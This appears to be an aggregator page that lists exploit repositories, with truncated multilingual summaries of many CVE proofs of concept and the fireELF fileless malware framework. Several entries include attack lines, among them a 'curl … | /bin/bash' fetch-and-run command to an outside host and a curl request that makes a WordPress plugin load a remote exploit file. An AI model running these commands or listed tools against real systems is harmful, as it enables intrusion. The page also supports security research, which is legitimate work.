CVE-2026-81097

The executeruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach...

CVE-2026-81096

ToolUniverse ran caller-supplied Python inside a sandbox that could be escaped, on a server that required no authentication. The executor behind the pythoncodeexecutor tool, in pythonexecutortool.py, inspected the submitted source for a denied list of attribute names and calls but left the...

CVE-2026-81096 ToolUniverse through 1.2.6 Unauthenticated Remote Code Execution via python_code_executor Sandbox Escape

ToolUniverse ran caller-supplied Python inside a sandbox that could be escaped, on a server that required no authentication. The executor behind the pythoncodeexecutor tool, in pythonexecutortool.py, inspected the submitted source for a denied list of attribute names and calls but left the...

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

CVE-2024-10220-Kubernetes-gitRepo-ボリューム脆弱性 マーク・マリア著 コンテナ化と自動化の力 コンテナ化は現代のアプリケーションデリバリーの基盤です。ランタイムスタック全体を単一の不変イメージにバンドルし、クラスター内の任意のホストに予期せぬ問題なく展開できます。Kubernetesはそれらのイメージを取得し、ポッドとしてスケジュールし、ネットワーキングからストレージに至るまでを宣言型モデルでオーケストレーションします。これは非常に分散された環境や、複数のアプリケーションが提供されている環境で有用です。...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 のバージョン 2.3.32 より前の 2.3.x、および 2.5.10.1 より前の 2.5.x には、Jakarta Multipart パーサーに欠陥があります。この欠陥により、ファイルをアップロードしようとした際に、例外の処理とエラーメッセージの生成が誤って行われます。その結果、攻撃者は Content-Type、Content-Disposition、Content-Length などの巧妙に細工された HTTP ヘッダーを悪用して、任意のコマンドをリモートで実行できます。 実行 python exploit.py -r...

CVE-2014-6271

CVE-2014-6271 "ShellShock"是GNU Bash 4.3及之前版本中存在的一个漏洞，原因是在函数定义之后，Bash处理环境变量值中尾部字符串的方式存在问题。该漏洞使得远程攻击者能够在特定情况下通过构造环境变量来执行任意代码，包括当环境变量跨越Bash执行的权限边界设置时。该漏洞已在多种场景中得到验证，例如OpenSSH sshd的ForceCommand特性、Apache...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 の概念実証です。元の投稿は exploit-db でご覧いただけます。 インストール要件 root@kitploit: python3 -m pip install -r requirements.txt 使用方法 root@kitploit: $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL Injection / Remote Code Execution optiona...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前，以及 Go 1.10 预发布版本在 Go 1.10rc2 之前，允许在源代码构建期间通过 go get 远程执行命令，利用 gcc 或 clang 插件功能，因为 -fplugin= 和 -plugin= 参数未被阻止。（来自 mitre） RCE 命令 该命令被编译进动态库 calcdarwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器，并将主机绑定到你的 IP。...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer CVE-2019-0752 の PoC エクスプロイト Windows 10 x64（RS4、RS5？）上の Internet Explorer 11 32bit を対象としています。 PowerShell とブロックコメントの使用を回避するために、特殊なアドレス値とパスマジックを併用しています。...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 は、SQLインジェクションを介したリモートコード実行（RCE）に対して脆弱です。 ベンダー: https://github.com/mathurvishal/CloudClassroom-PHP-Project ソフトウェアリンク: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC ステップ1: 影響を受けるURLにアクセスし、?viewid=1...

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 事前認証RCEバグ CVE-2022-29464。完全な技術的分析は私のブログ記事で公開予定です： https://mr-r3bot.github.io 使い方 root@kitploit: python exploit.py -u...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 説明 このリポジトリには、Flowmon の脆弱性を悪用してターゲットシステム上でリバースシェルを取得する Python スクリプトが含まれています。このエクスプロイトは service.pdfs/confluence エンドポイントの欠陥を利用してサーバー上で任意のコマンドを実行し、リバースシェル接続を確立します。 使用方法 1. リポジトリをローカルマシンにクローンします: root@kitploit: https://github.com/adhikara13/CVE-2024-2389.git 2...

CVE-2021-44228-Apache-Log4j-Rce

使用方法: 1. 运行 RMIServer 2. 运行 Main...

CVE-2023-3519

CVE-2023-3519 因为你可以在你妈妈的电脑上运行powershell，而无需安装NMAP或PYTHON，也无需告诉任何人你运行的是ARCH！; x...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...

CVE-2019-9580

CVE-2019-9580 - StackStormのCORS nullオリジン悪用によるRCE（2.9.3未満および2.10.3未満） 2.10.3/2.9.3より前のバージョンでは、リクエストのオリジンが不明な場合、nullを返していました。nullは一部のクライアントにおいて、未知のオリジンからのリクエストを成功させる可能性があります。これにより、StackStorm APIに対するXSSスタイルの攻撃が可能になります。 発見者: Barak Tawily および Anna Tsibulskaya Firefoxユーザーが被害者、Chromeユーザーが攻撃者 概念実証（PoC）...

CVE-2019-7238

CVE-2019-7238 Rico Tencent Security Yunding Lab と @voidfyoo によって発見された、Nexus Repository Manager 3（3.15.0 未満）の認証なしリモートコード実行。 詳細な分析（英語）: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/ 詳細な分析（英語以外）: https://xz.aliyun.com/t/4136...

CVE-2019-5418

CVE-2019-5418 - Rails におけるファイルコンテンツ開示 EDIT : このCVEはリモートコード実行（RCE）につながる可能性があります。詳細: https://github.com/mpgn/Rails-doubletap-RCE Action View には、ファイルコンテンツ開示の脆弱性が存在する可能性があります。 特別に細工された Accept ヘッダーと render file: の呼び出しを組み合わせることで、 対象サーバー上の任意のファイルがレンダリングされ、ファイルの内容が 開示される可能性があります。 影響は、accept...

fireELF

fireELF fireELF は、オープンソースのファイルレスLinuxマルウェアフレームワークで、クロスプラットフォームであり、ユーザーがペイロードを簡単に作成・管理できるようにします。デフォルトでは、Linux ELF 実行ファイルを完全にメモリ上で実行し、バイナリがハードドライブに触れることなく実行する新しい方法である memfdcreate が含まれています。 スクリーンショット 機能 ペイロードの選択と構築 ペイロードの最小化機能 ペイロードソースをPastebinにアップロードすることでペイロードを短縮する機能。Python = 2.7...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller および Citrix Gateway におけるリモートコード実行 RCE Citrix Application Delivery Controller（ADC、旧 NetScaler ADC）および Citrix Gateway（旧 NetScaler Gateway）に脆弱性が確認されました。この脆弱性が悪用された場合、認証されていない攻撃者が任意のコード実行を行う可能性があります。 追記 : Fireeye による CVE-2019-19781 の侵害指標（IOC）スキャナー ...